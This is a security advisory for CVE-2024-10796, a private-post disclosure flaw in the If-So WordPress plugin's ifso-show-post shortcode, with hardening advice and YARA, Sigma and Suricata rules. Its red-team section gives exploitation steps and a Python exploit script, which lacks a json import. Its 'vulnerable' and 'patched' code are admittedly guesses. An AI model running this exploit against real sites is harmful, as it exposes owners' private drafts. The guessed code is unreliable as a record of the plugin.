CVE-2024-10796

Executive Summary

CVE-2024-10796 is an information exposure vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting all versions up to and including 1.9.2.1. The flaw resides in the ifso-show-post shortcode, which fails to enforce proper authorization checks on which posts can be included. This allows authenticated attackers with Contributor-level access or higher to extract data from private or draft posts created via Elementor that they should not have access to. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (If-so) and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of private/draft posts)
• Integrity Impact: None
• Availability Impact: None
• EPSS Score: 0.0% (low exploitation probability)

Deep Dive & Mechanics

The vulnerability exists in the ifso-show-post shortcode handler. This shortcode is designed to display dynamic content based on user conditions. However, it does not properly validate whether the current user has permission to view the referenced post. Specifically, when a post ID is passed to the shortcode, the plugin retrieves and renders the post content without checking if the post status is private or draft and whether the user has the necessary capabilities (e.g., read_private_posts).

An attacker with Contributor-level access can craft a request containing the ifso-show-post shortcode with a target post ID that belongs to a private or draft post created via Elementor. The plugin will then output the content of that post, bypassing WordPress's built-in access controls.

The root cause is an authorization bypass (CWE-639) in the shortcode's post retrieval logic. The plugin uses get_post() without verifying the user's capabilities or the post's visibility status.

Vulnerable vs. Patched Code

Vulnerable Code (if-so plugin, likely in includes/class-if-so-shortcodes.php):

function ifso_show_post_shortcode($atts) {
    $atts = shortcode_atts(array('post_id' => 0), $atts);
    $post_id = intval($atts['post_id']);
    $post = get_post($post_id);
    if ($post) {
        return apply_filters('the_content', $post->post_content);
    }
    return '';
}

Patched Code (hypothetical fix):

function ifso_show_post_shortcode($atts) {
    $atts = shortcode_atts(array('post_id' => 0), $atts);
    $post_id = intval($atts['post_id']);
    $post = get_post($post_id);
    if ($post && (current_user_can('read_post', $post_id) || $post->post_status == 'publish')) {
        return apply_filters('the_content', $post->post_content);
    }
    return '';
}

The patched version adds a capability check using current_user_can('read_post', $post_id) to ensure the user has permission to view the post, and also allows public posts to be displayed without additional checks.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress installation with If-So plugin <= 1.9.2.1, an account with Contributor-level privileges, and at least one private or draft post created via Elementor.
2. Steps:
   • Log in as a Contributor.
   • Create a new post or page.
   • Insert the shortcode: [ifso-show-post post_id=<ID_OF_PRIVATE_POST>]
   • Publish or preview the post.
   • The content of the private/draft post will be displayed.

Example Exploit (Python):

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
session = requests.Session()
# Login as contributor
login_data = {"log": "contributor_user", "pwd": "password", "wp-submit": "Log In"}
session.post(target_url.replace("admin-ajax.php", "wp-login.php"), data=login_data)

# Craft a post with the vulnerable shortcode
post_data = {
    "action": "elementor_ajax",
    "actions": json.dumps({
        "save_builder": {
            "action": "save_builder",
            "data": {
                "post_id": 123,  # New post ID
                "elements": [{
                    "elType": "widget",
                    "widgetType": "shortcode",
                    "settings": {
                        "shortcode": "[ifso-show-post post_id=456]"  # Private post ID
                    }
                }]
            }
        }
    })
}
response = session.post(target_url, data=post_data)
print(response.text)

Blue Team (Detection & Hardening)

• Monitor shortcode usage: Log instances of ifso-show-post shortcode being used by non-admin users.
• Audit user capabilities: Ensure Contributor-level users do not have unnecessary permissions.
• Apply principle of least privilege: Restrict the use of shortcodes that can access arbitrary posts.
• Web Application Firewall (WAF): Create rules to block requests containing ifso-show-post with suspicious post IDs.

Indicators of Compromise (IOCs)

• Log entries: WordPress debug logs showing ifso-show-post shortcode usage with post IDs that are not public.
• Database anomalies: Unexpected access to wp_posts table for private/draft posts by Contributor users.
• Network traffic: HTTP requests to wp-admin/admin-ajax.php with action=elementor_ajax and shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_10796_IfSo_Shortcode {
    meta:
        description = "Detects exploitation attempts of CVE-2024-10796 in If-So plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10796"
    strings:
        $shortcode = /\[ifso-show-post\s+post_id=\d+\]/ nocase
        $elementor_ajax = "elementor_ajax"
    condition:
        $shortcode or $elementor_ajax
}

Sigma Rule

title: CVE-2024-10796 If-So Shortcode Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-10796 via shortcode usage
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'ifso-show-post'
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10796 If-So Shortcode Exploitation Attempt"; flow:to_server,established; content:"ifso-show-post"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the If-So plugin until a patch is available.
   • Restrict Contributor-level users from using shortcodes via user role editor plugins.
   • Manually audit all posts containing ifso-show-post shortcode.

2. Long-term Fix:

   • Apply the vendor patch when released (monitor https://wordpress.org/plugins/if-so/).
   • Implement custom code fix as shown in the "Vulnerable vs. Patched Code" section.

3. Compensating Controls:

   • Use a Web Application Firewall (WAF) to block requests with ifso-show-post shortcode from non-admin users.
   • Enable WordPress debug logging to detect unauthorized shortcode usage.

Valters IT
Securing Digital Ecosystems